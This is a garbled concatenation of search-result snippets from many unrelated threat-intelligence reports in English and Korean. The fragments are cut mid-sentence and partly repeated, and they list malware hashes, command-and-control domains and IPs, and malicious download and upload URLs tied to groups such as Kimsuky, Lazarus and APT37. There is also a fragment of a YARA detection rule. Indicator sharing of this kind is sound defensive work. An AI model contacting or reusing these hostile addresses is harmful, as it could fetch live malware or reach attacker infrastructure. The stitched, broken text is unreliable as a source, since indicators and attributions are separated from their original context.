9b0f22e129c73ce4c21be4122182f6dcbc351c95 31e79093d452…","…The malicious blogs hosted on Blogspot have been taken down already at the time of publication of this research. IOCs Hashes Maldocs 811b42bb169f02d1b0b3527e2ca6c00630bebd676b235cd4e391e9e595f9dfa8 VBA 4b244ac09e4b46792661754bd5d386e8b1a168cb1d5ed440df04c1c2928cb84d Stage 2…","…MD5 73174c9d586531153a5793d050a394a8 8133c5f663f89b01b30a052749b5a988 91029801f6f3a415392ccfee8226be67 ec1b518541228072eb75463ce15c7bce f05991652398406655a6a5eebe3e5f3a URL…","…(2023.03.14.00) Trojan/PowerShell.KeyLogger (2023.05.09.00) MD5 73174c9d586531153a5793d050a394a8 8133c5f663f89b01b30a052749b5a988 91029801f6f3a415392ccfee8226be67 ec1b518541228072eb75463ce15c7bce f05991652398406655a6a5eebe3e5f3a URL…","…caf949 6d0aa8ebc1287eb55fdca521c2c70c8e9a9f39835f8e257280898997ad6c1d76 801789ec161b7749c8d9f59049754e09e8b324de36c6fc0b634d61814baf43b1 81554ae36513b4a637d72db864f31e39ef3ae35ad402fb170f5e5fddee2d4589 82f446528560789d2f79a9c5f1b8cf3e5eb20468bd567ef9735672748aa00b06 899b2da752ad50f525e364f0af930dec91a128effbe8bb601803226604038d5b a6cffd…","…42d24ccfb0a05c5f299181ca3afc7ae3 a6c26a0b5df0db6a35b15c24342f27f8 6e5198c3aae9005cc58d011a8c6f0bec 81bfe3b3204ede1fca418e44aa19b310 52a321e48902b8fbd1e984d9bd15f278 310ebb7ca19ff9b75d4054c340b0c82e ca9cb7bb06398670abc6d19186c336cd C&C 158.247.250.251…","…Indicator of Compromise MD5 81c08366ea7fc0f933f368b120104384 723f80d1843315717bc56e9e58e89be5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 be…","…침해 지표 (Indicator of Compromise) MD5 81c08366ea7fc0f933f368b120104384 723f80d1843315717bc56e9e58e89be5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 be…","…malware samples that used the same key (the compilation timestamp may indicate the date of malware creation). MD5 Timestamp 81c3a3c5a0129477b59397173fdc0b01 2017-05-26 23:37:04 6cb34af551b3fb63df6c9b86900cf044 2017-06-09 17:24:30 21694c8db6234df74102e8b5994b7627 2017-11-07 17:54:19…","…Att&ck IDs T1129, T1085, T1085 . Att&ck Mitre Techniques Sample from Report LCPDot: MD5: 81ca4bd42b01fe43cefd7fc38083bc6b SHA1: 1d261bae90a95c20caf7a12e9b404dd39009267a SHA256: a9334efa9f40a36e7dde7ef1fe3018b2410cd9de80d98cf4e3bb5dd7c78f7fde Signers 2 TOY…","…File Information Name: Terms and conditions.msc Size: 141 KB MD5: 81d224649328a61c899be9403d1de92d SHA-1: f4895809cb38fa1f225340e99c05e477a5017111 SHA-256: cea22277e0d7fe38a3755bdb8baa9fe203bd54ad4d79c7068116f15a50711b09 Malware Repo…","…2 .hwp file : — 계정기능 제한 안내.hwp hashes: MD5 c155f49f0a9042d6df68fb593968e110 SHA1 9d6fa64e0c0f3ec7442cb72bfaa016c3e3d7ff52 SHA256 81ee247eb8d9116893e5742d12b2d8cd2835db3f751d6be16c2e927b892c5dc7 DNS requests domain ocsp.digicert.com Connections ip 40.126.31.137 ip 20.190.154.19 ip 23.48.202.145 ip 8.248.143.254 ip…","…그룹의 APT 공격 분석 보고서 (AppleSeed, PebbleDash) [13] [AhnLab TIP] 미미카츠를 이용한 내부망 전파 기법 분석 보고서 MD5 185bc3037314ec2dbd6591ad72cf08b4 81ee91290a78d2d38b47a7ae25ec717f b500a8ffd4907a1dfda985683f1de1df URL http://80.66.76.22/servicem.exe AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실…","…(GUI) Intel 80386, for MS Windows MD5 5cfa1c2cb430bec721063e3e2d144feb SHA1 c1a9044f180dc7d0c87e256c4b9356463f2cb7c6 SHA256 820ca1903a30516263d630c7c08f2b95f7b65dffceb21129c51c9e21cf9551c6 SHA512…","…769383fc65d1386dd141c960c9970114547da0c2 a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 82187ad3f0c6c225e2fba0c867280cc9 20d554a80d759c50d6537dd7097fed84dd258b3e 11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03…","…21440b 23c18fe6675b4dad5e1354718fa9bbb096ded4293948d318d0057b51642c4cbb 63c45dd760256bb2bee1eeb9e7d61601c90a752ff46832df39ca1a8d2376b281 82286cf6369eddd2e79d005a435623abe2db642c216d38550411865acf84210e 9255280904f85d01545d295a31038678d697325385be6c7c01435d541f16b043 d1b5d606c866c304c3eb28fc52ed700c6b292e6e4387e0dac1a895e231bfe5b3 3b2701…","…c4 048e1698c4b711d1652df4bf4be04f9e 53aea290d7245ee902a808fd87a6a173 56c7b448dbc37aa50eb1c2a6475aca5e 99ee7852b8041a540fdb74b3784d0409 8230af6642f5f1927bbbbc7fd6e5427f b0eba111b570bb1c93ca1f48557d265b ef1a8f66351d03413ed2c7d499ee5164 f7363c5cfd6fa24a86e542fcd05283e8 f6800836d55d049fe79e3d47d54e1119…","…(GUI) x86-64, for MS Windows MD5 894b81b907c23f927a3f38cfd30f32da SHA1 411a320c389e492bf41eb6c5708809721f28a81f SHA256 823d255d3dc8cbc402527072a9220e4c38655de1a3e55a465db28b55d3ac1bf8 SHA512…","…Size 391680 bytes Type PE32+ executable (DLL) (console) x86-64, for MS Windows MD5 dc268b166fe4c1d1c8595dccf857c476 SHA1 8264556c8a6e460760dc6bb72ecc6f0f966a16b8 SHA256 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 SHA512…","…전문가 칼럼 원고 작성 양식.doc SHA-256 828a5527e25e3cab4e97ed25ec2b3d2d7cdf22f868101a33802598cc974d6db4 flower01.ps1 URL http://mybobo.mygamesonline.org/flower01/flower01.ps1 URL delivery Domain mybobo.mygamesonline.org Domain…","…a08ec4 74d6b81565aeb95ee9df37ef7738d10baa9866261fb894d9ee9d67fc7c66badc 7603be6e20fdf1338f5de8660b866a7dcb87f1468d139930d9afcba7f3acabb4 828f828a4c7b098786a0b719c4cecbb1fe3c28aaf25f81fc939b9099097e4c1e 84edc9b828de54d4bd00959fabf583a1392cb4c3eab3498c52818c96dc554b90 8573d9008cca956a8f8b9a46ed7880b471435327e8e0ea42b2e143b410a99d7b 860b3a…","…date = \"2020-12-15\" reference = \"https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf\" hash = \"829462fc6d84aae04a962dfc919d0a392265fbf255eab399980d2b021e385517\" strings : $s0 = \"<%@Language=VBScript.Encode\" ascii // Case permutations of the word SeRvEr enc oded with…","…83cba55f180b0c100935137615e8d296 7a1d41c8e9e4bd19e0e360ec17e30c38e4f9ca0d 82a2dafd6ce594f2cf8588f32585c71be2180fc4cf9a144e300b1692f3de5807 Bold hashes indicate that they were observed in our analysis, other files were taken from reports Volexity , SentinelOne and…","…MD5 60aaafce354ae5e0b8115729464a8b24 SHA-1 53948d9596ebab5c4cf2ac04e7fb70c429e0cbbf Imphash 82a8292007e682f1a127ba8dcebfae96 Rich Hash c8040dd3ff2f4afd042efd4ebe1a43c6 SSDEEP…","…[Konni 관련] md5 e37c8f6aba686aab3d7ecedbd1d0ef43 가상자산사업자 검사계획민당정회의 발표자료_FN2.hwp.lnk 82d85f391c8a1aaa0a2b9500993156c5 possess.cab 3eac72d8dfab856788becf2cafc65328 start.vbs 1b6eb87d8d52f699c89c2f6e7451bf28 04711460.bat a68acc516eca9b2be1b89addd4f3f723…","…(2022.03.23.00) MD5 0ecc9a4cea5c289732c76234c47a60e9 56a936b9b3a3bdafed40cf5d056febaf 7a2f350a2a6aa1d065c2b19be6dc6fb4 82ed73e4adbe5c26bafb5072657fd46b 869f98aac4963c7db7276d2a914d081e URL http://sysrtri-man.com/upl11/upload.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를…","…6c1d76 801789ec161b7749c8d9f59049754e09e8b324de36c6fc0b634d61814baf43b1 81554ae36513b4a637d72db864f31e39ef3ae35ad402fb170f5e5fddee2d4589 82f446528560789d2f79a9c5f1b8cf3e5eb20468bd567ef9735672748aa00b06 899b2da752ad50f525e364f0af930dec91a128effbe8bb601803226604038d5b a6cffde5684ca81e4f19ba77300bb255ea29cae57e5f78b20dad6be99bf0fb84 ab2692…","…Size 947200 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 c51416635e529183ca5337fade82758a SHA1 830368d88b661d09c084e484713effb8d230d328 SHA256 738ba44188a93de6b5ca7e0bf0a77f66f677a0dda2b2e9ef4b91b1c8257da790 SHA512…","…start.vbs 3 MD5 fce7a980ec6a93525524fa7ac8e4a94b 60901024.bat 4 MD5 83117b531e84c16ef0e65f08a882d6f8 57579534.bat 5 MD5 40e77deae9d81d0924bf7c1d6afbb3f7 57373380.bat 6 MD5…","…A Mach-Os SHA1 Arch Lang 182760cbe11fa0316abfb8b7b00b63f83159f5aa FAT rust 3cc19cef767dee93588525c74fe9c1f1bf6f8007 ARM rust 831dc7bc4a234907d94a889bcb60b7bedf1a1e13 x86 rust 8e7b4a0d9a73ec891edf5b2839602ccab4af5bdf x86 rust Stage 3 Version B Mach-Os SHA1 Arch Lang…","…\"file\": {\"hash\": {\"md5\": [\"352715d5770b53768bf9f23d810ad55f\"], \"sha1\": [\"831dc7bc4a234907d94a889bcb60b7bedf1a1e13\"], \"sha256\": [\"7fccc871c889a4f4c13a977fdd5f062d6de23c3ffd27e72661c986fae6370387\"]}}, \"marking\": {\"tlp\": \"clear\"}, \"provider\": \"Elastic…","…(console) x86-64, for MS Windows MD5 3021b9ef74c7bddf59656a035f94fd08 SHA1 05ad5f346d0282e43360965373eb2a8d39735137 SHA256 83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a SHA512…","…SHA-256: 73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33 SHA-256: 83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a SHA-256: 8a1d57ee05d29a730864299376b830a7e127f089e500e148d96d0868b7c5b520 SHA-256:…","…c7 568f7628e6b7bb7106a1a82aebfd348d 779f2f4839b9be4f0b8c96f117181334 07015af18cf8561866bc5b07e6f70d9a 7756b4230adfa16e18142d1dbe6934af 8346d90508b5d41d151b7098c7a3e868 30741e7e4cdd8ba9d3d074c42deac9b1 537806c02659a12c5b21efa51b2322c1 afadab22f770956712e9c47460911dad b9c2111c753b09e4cc9d497f8fd314fc b1…","…http://view-naver.com MD5 222ff66ee8f2310f6709580d9fe553de 4af8906f903f5de0ea98d3e323ee869c SHA2 83478fb5d4eadb2111688953ee6cea831626a6201bdd181b4c3f92e25b129e56 URL…","…download URLs were also blocked by Fortinet’s Web Filter . -= FortiGuard Lion Team =- IOCs: Sample Hashes: 834d3b0ce76b3f62ff87b7d6f2f9cc9b (DOC) 0914ef43125114162082a11722c4cfc3 (EXE) 38ead1e8ffd5b357e879d7cb8f467508 (DLL) URLs:…","…배치 파일의 스크립트 코드에 따라서 다양한 악성 행위 수행이 가능합니다. http://forum.flasholr-app.com/wp-admin/src/list.php IoC [APT37 관련] md5 835a74b3c33a66678c66118dbe26dccf 북한 공작에 물든 대한민국.hwp 81051bcc2cf1bedf378224b0a93e2877 hwp601.dat 4a89126a7e3190866b3eebeb8b8ee9b7 hwp701.dat a7557684eb1ab6044fccf69b442a559f…","…MD5 SHA1 SHA256 Malicious ICO File da667174c2d145a4d9b3b39387fbd7dd 8377fb40c76aa3ba3efae3d284fa51aa7748e010 8c0b7d90f14c55d4f1d0f17e0242efd78fd4ed0c344ac6469611ec72defa6b2d MD5 SHA1 SHA256 Malicious ICO File…","…98dd5891b583 e9519f91c7acfe68e614fc6d3416033334b1b68c c91f346d077efbcf45e53e4876b6b23f1e241db4 2efdf82808cd7f63ebc66f553ae94127c3d7c60b 8380d7451f9c4477dd2e8c7c0ba46471bfc6dc27 60be225d1a90070d22bf2abcc740d311041cb432 78027c3800ff58321371a28b1e2a6d7e870add60 4a93fe1e7fce91f3c3d99c733d9628ed952dbf2a 5e38363e7c19…","…by these RATs. 43193c4efa8689ff6de3fb18e30607bb941b43abb21e8cee0cfd664c6f4ad97c Tags keyloggerspywaretrojan Details Name 83833f8dbdd6ecf3a1212f5d1fc3d9dd Size 905216 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 83833f8dbdd6ecf3a1212f5d1fc3d9dd SHA1…","…7dd1bf7a58774a081062f5c8f183d24f95c433805e0bf73280c0adba1c71390d EtherRAT (obfuscated) File 83b1f11c6a0bd267e415136440559131d2d4ace9a65dc221ea3b144fe0e7199b EtherRAT SYS_INFO module Domain www-flow-submission-management.shepherdsestates.uk…","…Filename 인권 설문지 .docx MD5 83b97826c43808c5caa1b69c9c7cbeb0 SHA1 375f71617fa5171a7ed24dacc1fd7f632a55eaab SHA256…","…6add815cd61d6514f81a23ab8c23405a 73ff669fc282653bd6c42cf87ade9337 7f12fa589f56f6203c692715b3958d30 8406075af0a1e9ec09bafdc0de01f138 8c859a03814443c6f0da341ee594c352 a1c07ac866fb6b388e38c6bb1d4bbe94 a343d8bcf02a0554fa271452a512f3ce…","…dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc 9833a4779b69b38e3e51f04e395674c6 8433a94aedb6380ac8d4610af643fb0e5220c5cb fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405 660ea9b8205fbd2da59fefd26ae5115c…","…alertness and fostering collaborative efforts. Indicators of Compromise SHA1 Hashes 96d29a2d554b36d6fb7373ae52765850c17b68df 84398dcd52348eec37738b27af9682a3a1a08492 912f875899dd989fbfd64b515060f271546ef94c 49c70c292a634e822300c57305698b56c6275b1c 8f2e6719ce0f29c2c6dbabe5a7bda5906a99481c 0288140be88b…","…침해 지표 (Indicator of Compromise) ● MD5 d5dd153ac17a79723f33fb45849a533b 844fb1dddeb432d9c950965fb78d1c52 31909632fb7f1a53507f65a1ae96a519 234158822419e64d8d3c177d3169bc3e f25ae3627b4ec411882d56732e0fa433 dfa3a2ec607144b803c66816e1a996fa b9116a0…","…따라서 사용자들은 메일 뿐아니라 확인되지 않은 불분명한 발신인에게 받은 문서 파일의 열람은 절대 하지 않아야하며 지속적인 주의에 대한 경각심을 갖어야 한다. MD5 8451be72b75a38516e7ba7972729909e a7c8997777fef77a9d09c4f96e9a92e4 fb62b1ef85a58b7a9f04d016fbe616f5 Tags: HWP 한글문서 한글취약점…","…flow: Process flow Indicators of Compromise (IoCs): Domains: sofa.rs kingsvc.cc mbrainingevents.com afuocolento.it Hash: 8451be72b75a38516e7ba7972729909e fe2d05365f059d48fd972c79afeee682 186aa05bfe4739274c3c258be4a5a160 IP: 185.62.56.131 Indicators of Attack (IoAs): Execution: T1047:…","…e0f4924aeb8befbf6a78411f910d2c148de7c5ff c587cdbadc3573149c8b1a78fbbd876f 84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69 4b35d14a2eab2b3a7e0b40b71955cdd36e06b4b9 41dacae2a33ee717abcc8011b705f2cb…","…File indicators: SHA-256 SHA-1 MD5 Description 188bd4fc222c9615540884920caf37ea88bcbea7488e1fb98709e357dd096666 8473f85bda00dfa3ecd2385dd38f69600d1d64a6 9d78ece09457907b730d139e4e0c64dd terraform-provider-awsbeta_v1.0.0 , trojanized provider, RL: MacOS.Trojan.Multiverze…","…MD5 SHA1 SHA256 Malicious ICO File 848bc8e5917db1f735029fc51952002d ffccc3a29d1582989430e9b6c6d2bff1e3a3bb14 2c9957ea04d033d68b769f333a48e228c32bcf26bd98e51310efd48e80c1789f MD5 SHA1 SHA256 Malicious ICO…","…SHA1 84c2e2d5d61ed9148a0057e951fdea641901874d 41bff8875d1f83b3af52b65cb7ce8ebca0e30bfd 44b072d3948f06cdc0be573aa62ce3ca0b80da1e 76ed57d6451f634255c664a89f7a64a062923c05 08620755dabc…","…Hash-MD5 f107a717f76f4f910ae9cb4dc5290594 Hash-MD5 7f7ccaa16fb15eb1c7399d422f8363e8 Hash-MD5 84c82835a5d21bbcf75a61706d8ab549 Hash-MD5 bec0b7aff4b107edd5b9276721137651 Hash-MD5 86721e64ffbd69aa6944b9672bcabb6d Hash-MD5…","…( Jan 2019) SHA256: c6c332ae1ccb580ac621d3cf667ce9c017be41f8ad04a94c0c0ea37c4789dd14 “중국-연구자료.hwp [many space] .scr” (Jan 2019) SHA256: 84edc9b828de54d4bd00959fabf583a1392cb4c3eab3498c52818c96dc554b90 Use of Google Drive SectorA05 used Google Drive as a way to supply malware.…","…Type Notes APT10 \u0002¢ A41APT \u0002£ 8504c06360f82b01b27aa1c484455e8a6ce9c332d38fe841325521d249514bfa 101.78.177.244:443 7db25164885066f32cd8b523a0b0ee9e6bb65e4381352735f618c8ce8ea24004 intra.rolesnews.com extra.rolesnews.com SHA256 C2 SHA25…","…(2022.03.30.00) MD5 050e663bf6c97a953e25eb7e9754d656 07232fe7144b0286eb5c9882834eea96 0b41f93365ec443406df942914317ec7 85165e07b9f198a5e4047756eb779b46 a0fddb12d7b3c445fdb7ab602a5bf5fb URL http://nomonth-man.com/uio04/upload.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를…","…메일을 통해 이루어지므로 출처가 불분명한 사용자의 첨부 파일은 되도록 열지 않도록 주의가 필요하다. MD5 39b39ca9cbf9b271590d06dfc68a68b7 6b10482c939fc33c3a45a17f021df32b 851e33373114fef45d0fe28c6934fa73 9ac572bdca96a833a40edcaa91e04c2b c99f6d1c7c0d55ce1453dd08c87ee2b4 URL…","…this recent attack, we will skip ahead and dive right into the characteristics and analysis of the malware itself. Malware Analysis MD5: 851e33373114fef45d0fe28c6934fa73 SHA256: e0ea745b9d6fe7c222a0ee4962905f9cea3754e7b587274ec7ccef59b3825d9f File name: firmware upgrade installer.exe FIle type: Win…","…의해 생성된 DLL : Trojan/Win.Kimsuky.C5025516 (2022.03.24.00) MD5 3ea9b50289aecccc7ffd04fa814c1a5c 64cbd6f435538175dc06ea4b84cba46d 856072827cec7b74ead3ce40e55bd8d1 b3c7df17420d48f61bbfcf2bac3ae4a3 URL https://regular.winupdate.kro.kr/index.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를…","…acabb4 828f828a4c7b098786a0b719c4cecbb1fe3c28aaf25f81fc939b9099097e4c1e 84edc9b828de54d4bd00959fabf583a1392cb4c3eab3498c52818c96dc554b90 8573d9008cca956a8f8b9a46ed7880b471435327e8e0ea42b2e143b410a99d7b 860b3a252226dea43cba5ea52f094c4c7c408f20e236f49bc975ff374d2450b8 8719218fc45939cf55e3e2d66d83769d916e736514941ffce3fffc515614ef4a 891c2b…","…on the KNF website – but we have no reason to doubt this either. MD5 hash Filename File Info First seen Origin 85d316590edfb4212049c4490db08c4b gpsvc.exe Win32 (736 KB) 2017-01-26 07:46:24 PL The file is packed with a commercial packer known as 'Enigma…","…Backdoor Management Tool Filename: gpsvc.exe MD5: 85d316590edfb4212049c4490db08c4b SHA1: 4f0d7a33d23d53c0eb8b34d102cdd660fc5323a2 File Size: 753664 bytes File Type: PE32 executable (console) Intel 80386, for MS…","…a4d37f7df 8fb56f3d63e5dbc55695fe6e043707a933116ace43db4d3d67f42341a6540eef 4555744f4a328cddca885938f8fee83133be93c59be33a3e0b2906b536ee667c 85d3c1500e80b4782f3c1488adacfd14668ad99f3b4f01da3b0c4f31480745b4 2705441758889528e6cf333182799b2e51b458546e7706858e8789eaedb52562 50de7ddaf89d5aec643a449f7bb20e3b3ab5321bba1444a5c746ca4187170777 52fd47ca5…","…156d51e61dc4 1dc50bfcab2bc80587ac900c03e23afcbe243f64 003e21b02be3248ff72cc2bfcd05bb161b6a2356 9b7c3c48bcef6330e3086de592b3223eb198744a 85e2453b37602429596c9681a8c58a5c6faf8d0c Domains ftp.byethost31.com ftp.byethost11.com 1113427185.ifastnet.org navermail.byethost3.com nihon.byethost3.com…","…Security Center 40 07. 침해 지표 (Indicator of Compromise) a. 주요 MD5 Hash - f948adbdfd39c63d226b0699c8b84bf0 - 85e71578ad7fea3c15095b6185b14881 - be32725e676d49eaa11ff51c61f18907 - 657fd7317ccde5a0e0c182a626951a9f - 8f106544bfd4755d17a353064666426a -…","…Data Exposure Indicators of Compromise IP 101.36.114.190 MD5 ba00e1a70e5da6ed610652a93e7cc7dd a6598bbdc947286c84f951289d14425c 85f5075610661c9706571a33548d7585 d414e3718ad82a9925339ac8338b77a6 SHA-256…","…7e4c1e 84edc9b828de54d4bd00959fabf583a1392cb4c3eab3498c52818c96dc554b90 8573d9008cca956a8f8b9a46ed7880b471435327e8e0ea42b2e143b410a99d7b 860b3a252226dea43cba5ea52f094c4c7c408f20e236f49bc975ff374d2450b8 8719218fc45939cf55e3e2d66d83769d916e736514941ffce3fffc515614ef4a 891c2b7a374063ea4e7f2693906b9c5e916646b827601727e9aeea0fb3e37f4a 8f06cf…","…Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 6058368894f25b7bc8dd53d3a82d9146 SHA1 8644da026f9e8873dd8699bd68c77a25001be726 SHA256 e352d6ea4da596abfdf51f617584611fc9321d5a6d1c22aff243aecdef8e7e55 SHA512…","…connect to the domain. c2f150dbe9a8efb72dc46416ca29acdbae6fd4a2af16b27f153eaabd4772a2a1 Tags backdoortrojan Details Name 86685EC8C3C717AA2A9702E2C9DEC379 Size 156672 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 86685ec8c3c717aa2a9702e2c9dec379 SHA1…","…Hash-MD5 84c82835a5d21bbcf75a61706d8ab549 Hash-MD5 bec0b7aff4b107edd5b9276721137651 Hash-MD5 86721e64ffbd69aa6944b9672bcabb6d Hash-MD5 509c41ec97bb81b0567b059aa2f50fe8 Hash-MD5 8db349b97c37d22f5ea1d1841e3c89eb Hash-SHA1…","…Information as of June 2020: IP Address: 89.45.4.151 Registrar: NameCheap, Inc. Created: June 22, 2020 Expires: June 22, 2021 867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36 Tags: trojan peexe Name: win32.bin Size: 2.10 MB (2198684 bytes) MD5: 5d43baf1c9e9e3a939e5defd8f8fbd8d SHA-1:…","…with the IP address. 12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d Tags droppertrojan Details Name 868036E102DF4CE414B0E6700825B319 Size 453791 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 868036e102df4ce414b0e6700825b319 SHA1…","…103.149.98.247 MD5 a9b1c04438930c0c7cff3fe8e8520317 89a725b08ab0e8885fc03b543638be96 6013a54ceee15912385ef8c41405a819 SHA-256 869705fd4dd777d4ab5c662806b42fe43bff6b58e085a64804486326b35fee47 42f306b905ece8875bdf16d276b8e4c1f70265918625da475e0f0ff0aa90f31c 7bed4de469d5f23f35f835d6bf1b7678b4ff6ccaefd9604e929abd448d6d43e1…","…0ecc9a4cea5c289732c76234c47a60e9 56a936b9b3a3bdafed40cf5d056febaf 7a2f350a2a6aa1d065c2b19be6dc6fb4 82ed73e4adbe5c26bafb5072657fd46b 869f98aac4963c7db7276d2a914d081e URL http://sysrtri-man.com/upl11/upload.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…86a025e282495584eabece67e4e2a43dca28e505 Lure Doc Example – SHA1 c8f54cb73c240a1904030eb36bb2baa7db6aeb01 Macro – SHA1 adversary Kimsuky…","…The file downloaded is a password protected .doc file named “Research Proposal-Haowen Song.doc” (SHA1: 86a025e282495584eabece67e4e2a43dca28e505 ) which contains a malicious macro (SHA1: c8f54cb73c240a1904030eb36bb2baa7db6aeb01 ) Malicious Document, themed to DPRK / China…","…for analysis. 1678327c5f36074cf5f18d1a92c2d9fea9bfae6c245eaad01640fd75af4d6c11 Tags trojan Details Name 86D3C1B354CE696E454C42D8DC6DF1B7 Size 129024 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 86d3c1b354ce696e454c42d8dc6df1b7 SHA1…","…Name email_93682646.html MD5 88107e3c785d3d30e5f6fc191622a157 File Name memo.utr MD5 86f83586c96943ce96309e3017a3500c 공격자는 '[통일부] 보도자료해명' 제목으로 이메일을 작성하였으며, 발신자 이메일 주소도 실제 통일부처럼 교묘하게 위장하고 있습니다.…","…50d4e3470232d90718d61e760a7a62fb 6a84a14dd79396f85abd0e7a536d97fc 7183295e6311ebaaea7794d8123a715e 79573759208d78816316546a9c1f0aec 873579b92d618bf2ed3f67b7a01d7f7a URL…","…3cdf9f829ed03e1ac17b72b636d84d0b 55a46a2415d18093abcd59a0bf33d0a9 705ef00224f3f7b02e29f21eb6e10d02 83b4d96fc75f74bb589c28e8a9eddbbf 873b2b0656ee9f6912390b5abc32b276 URL…","…(GoBear) 추가 분석을 진행한 결과, S2W는 Troll Stealer 악성코드 외에도 정상 “D2innovation Co.,LTD 인증서”로 서명된 Go언어 기반의 백도어 GoBear 악성코드를 추가로 식별하였다. MD5 : 87429e9223d45e0359cd1c41c0301836 C&C : http://coolsystem.co.kr/admin/mail/index.php 참고자료 : Kimsuky (APT-Q-2) secret theft operation disguised as software installation…","…2c 7b6d02a459fdaa4caa1a5bf741c4bd42 88f183304b99c897aacfa321d58e1840 19c2decfa7271fa30e48d4750c1d18c1 c8e7b0d3b6afa22e801cacaf16b37355 87429e9223d45e0359cd1c41c0301836 C&C ar.kostin.p-e.kr ai.kostin.p-e.kr qi.limsjo.p-e.kr ai.limsjo.p-e.kr ol.negapa.p-e.kr ai.negapa.p-e.kr URL…","…the same digital signature as the espionage software is as follows, with the Go code project named \"mirror\": - - MD5 87429e9223d45e0359cd1c41c0301836 File Name svchost.exe File Size 7.67 MB (8043416 bytes) Digital Signature Time 2024-01-05 06:12:29 UTC After…","…(Whitelisted) www.addfriend.kr → Suspicious, Unknown Reputation Indicators of Compromise (IOCs) Malicious File Hashes: SHA256: 875B0CBAD25E04A255B13F86BA361B58453B6F3C5CC11ACA2DB573C656E64E24 MD5: 15DC6A28B875B4706BCC0DB4A026AEB0 Suspicious Network Indicators: IP Address: 211.239.117.117 → Potential C2 Server Domain:…","…대한 경각심을 높이고 보안 제품의 최신 업데이트를 유지함으로써 유사 공격에 대해 사전 예방할 필요가 있다. MD5 641593eea5f235e27d7cff27d5b7ca2a 70d92e2b00ec6702e17e266b7742bbab 876dbd9529f00d708a42f470a21a6f79 a5cca2b56124e8e9e0371b6f6293e729 a8976e7dc409525a77b0eef0d0c3c4f2 IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148…","…products up to date to prevent such attacks in advance. MD5 641593eea5f235e27d7cff27d5b7ca2a 70d92e2b00ec6702e17e266b7742bbab 876dbd9529f00d708a42f470a21a6f79 a5cca2b56124e8e9e0371b6f6293e729 a8976e7dc409525a77b0eef0d0c3c4f2 IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148…","…e5528e 9111d458d5665b1bf463859792e950fe8d8186df9a6a3241360dc11f34d018c2 4bce97eff4430708299a1bb4142b9d359d8adf77a2e1673bf76485df25e6d357 878e3701df9b0abdaa7094e22d067c8398a9fc842cabe917fd5f75f2c84d8552 176e8a5a7b6737f8d3464c18a77deef778ec2b9b42b7e7eafc888aeaf2758c2d 48ee5d0d44a015876d867fa515b04c1998fecf19badcbd69f4f3fa8497d57215 a4cab6…","…- IOC C2 dragon-pig.onlinewebshop.net little-dragon.mypressonline.com baboivan.scienceontheweb.net Hash 879b5fca0f4e3d1769e37e738f3b89ba6de81d0f5f34b8bba6267f905b85318a b89e79ee9c4834177cbabba9b265910a6a55c7defd2863cc1699753dbfa342b8 ServiceName ComSysApp FilePath %windir%\\System32\\mssvps.dll %windir%…","…CN=LAMERA CORPORATION LIMITED NotBefore: 2/10/2022 9:44 PM NotAfter: 12/31/2039 4:59 PM Subject: CN=LAMERA CORPORATION LIMITED Serial: 879fa942f9f097b74fd6f7dabcf1745a Cert: 6e95d94d5d8ed2275559256c5fb5fc6d01da6b46 SHA256 hash: f64dab23c50e3d131abcc1bdbb35ce9d68a34920dd77677730568c24a84411c5…","…Of Compromise (IOC) 1 2 3 4 5 6 MD5 c81ed44799aefb540123159618f7507c SHA-1 fd23177a4481f39fe53a306e2d7fe282cb30a87d SHA-256 87b5a1f79a2be17401d8b2d354c61619ce6195b57e8a5183f78b98e233036062 Virustotal ANY.RUN Bazaar Thank You for reading this till the end ❤ Discord somedieyoungzz Twitter…","…2546d239a262c24a6f8ea01d890cbc459a22db79b379b6ec3b24fbb56efb5381 5009c7d1590c1f8c05827122172583ddf924c53b55a46826abf66da46725505a 87c5d0c93b80acf61d24e7aaf0faae231ab507ca45483ad3d441b5d1acebc43c 99dbc6fe3c3e465052fcefa1642861747dc9e069eeb244589b605bd710b1e0d1 fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7…","…6C121F2B2EFA6592C2C22B29218157EC9E63F385E7A1D7425857D603DDEF8C59 7667D1B8FCC4F712084E3E3F8B4AB505AB150C52AEA7B219249EC508B4B0E224 87C5D0C93B80ACF61D24E7AAF0FAAE231AB507CA45483AD3D441B5D1ACEBC43C 89CAD9A57985CC0AB3B7403A943AD0AA7B167DC7A3C38557417FEDEA67A77B87 8BFA4FE0534C0062393B6A2597C3491F7DF3BF2EABFE06544C53BDF1F38DB6D4…","…침해 지표 (Indicator of Compromise) ● MD5 16eb2cceb920319eaddd5d7b85483cc4 